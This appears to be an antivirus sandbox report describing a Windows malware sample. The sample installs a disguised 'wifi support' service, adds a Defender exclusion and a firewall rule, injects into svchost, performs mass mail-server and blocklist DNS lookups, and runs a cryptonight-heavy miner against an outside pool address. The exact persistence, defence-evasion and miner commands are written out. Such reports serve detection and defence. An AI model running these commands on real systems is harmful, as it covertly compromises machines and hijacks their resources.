Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\kyuvyhka] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\kyuvyhka] 'ImagePath' = '%WINDIR%\SysWOW64\kyuvyhka\beketepv.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\kyuvyhka] 'ImagePath' = '%WINDIR%\SysWOW64\kyuvyhka\beketepv.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\kyuvyhka' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\beketepv.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\beketepv.exe to %WINDIR%\syswow64\kyuvyhka\beketepv.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK iz####chitektow.pl
- DNS ASK mx.###.iprimus.com.au
- DNS ASK ip###us.com.au
- DNS ASK ya###.com.br
- DNS ASK ba######.newcastle.edu.au
- DNS ASK ey###negolf.com
- DNS ASK ro###tmail.com
- DNS ASK as##.#inet.net.au
- DNS ASK market.yandex.ru
- DNS ASK oz###il.com.au
- DNS ASK in##.rambler.ru
- DNS ASK ra##ler.ru
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK ex####l.bigpond.com
- DNS ASK bi###nd.com.au
- DNS ASK al####.dwu.ac.pg
- DNS ASK re###1.enter.it
- DNS ASK in###field.it
- DNS ASK li#e.fr
- DNS ASK mx#.##tline.net.au
- DNS ASK no###ate.com.au
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK mx#.#aver.com
- DNS ASK ya###.com.ph
- DNS ASK mx.##rp.org.pl
- DNS ASK us.#bm.com
- DNS ASK mx#.#mpal.com
- DNS ASK em##l.com
- DNS ASK ms##.hinet.net
- DNS ASK as##.#cta4.net.au
- DNS ASK oc###.net.au
- DNS ASK ya##o.co.in
- DNS ASK ex#####e.miwatj.com.au
- DNS ASK mi###j.com.au
- DNS ASK sm####n.orange.fr
- DNS ASK wa##doo.fr
- DNS ASK mx.###.katowice.pl
- DNS ASK aw#.#atowice.pl
- DNS ASK cu#######2.in.mailcontrol.com
- DNS ASK mx#.##eamhost.com
- DNS ASK ca####ionplc.com
- DNS ASK ma#####.vector.com.pl
- DNS ASK ve###r.com.pl
- DNS ASK mx######91d01.pphosted.com
- DNS ASK ce#####.ameritech.com
- DNS ASK mx#.#anmail.net
- DNS ASK ha##ail.net
- DNS ASK mx####.#egamailservers.eu
- DNS ASK br###and.net
- DNS ASK ma###.energy.com.au
- DNS ASK en###y.com.au
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK na##r.com
- DNS ASK ex#####.bpbb.bigpond.com
- DNS ASK bi###nd.net.au
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho##ail.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.es
- DNS ASK mx#.#harter.net
- DNS ASK ch##ter.net
- DNS ASK mx#.##x.sunrise.ch
- DNS ASK fr##surf.ch
- DNS ASK mx.##ndgrid.net
- DNS ASK pa###ster.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK si#####l.everyone.net
- DNS ASK 7m###search.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK et###.#ail.tiscali.it
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ti##ali.it
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK bu###m.com.au
- DNS ASK mx#.#cn.net.au
- DNS ASK co####omes.com.au
- DNS ASK de###chmidt.de
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK mx#.##r-schmidt.de
- DNS ASK co#.net
- DNS ASK bu######linksolutions.co.uk
- DNS ASK ma####eagleton.com
- DNS ASK ma###ndutou.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK to######chnologies.com.au
- DNS ASK ASPMX.L.GOOGLE.COM
- DNS ASK he##-cms.ru
- DNS ASK ma####ont.mira.dk
- DNS ASK ma##.mira.dk
- DNS ASK lw##.##.###.au.inbound.anz.mpmailmx.com
- DNS ASK ip##fo.io
- DNS ASK cr###lake.net
- DNS ASK ce#####ortheways.com
- DNS ASK google.com
- DNS ASK sp###.#ail.gandi.net
- DNS ASK ma####-dupont.com
- DNS ASK ma#####n01.jmdata.dk
- DNS ASK me.dk
- DNS ASK cl######.us.messagelabs.com
- DNS ASK co###ial.com.au
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK lo######ikerie.sa.gov.au
- DNS ASK fi####.crosslake.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\kyuvyhka\beketepv.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\kyuvyhka\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\beketepv.exe" %WINDIR%\SysWOW64\kyuvyhka\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create kyuvyhka binPath= "%WINDIR%\SysWOW64\kyuvyhka\beketepv.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description kyuvyhka "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start kyuvyhka' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\kyuvyhka\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\beketepv.exe" %WINDIR%\SysWOW64\kyuvyhka\
- '%WINDIR%\syswow64\sc.exe' create kyuvyhka binPath= "%WINDIR%\SysWOW64\kyuvyhka\beketepv.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description kyuvyhka "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start kyuvyhka
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://91.203.5.139:8087 -u w1 -p x --nicehash --safe
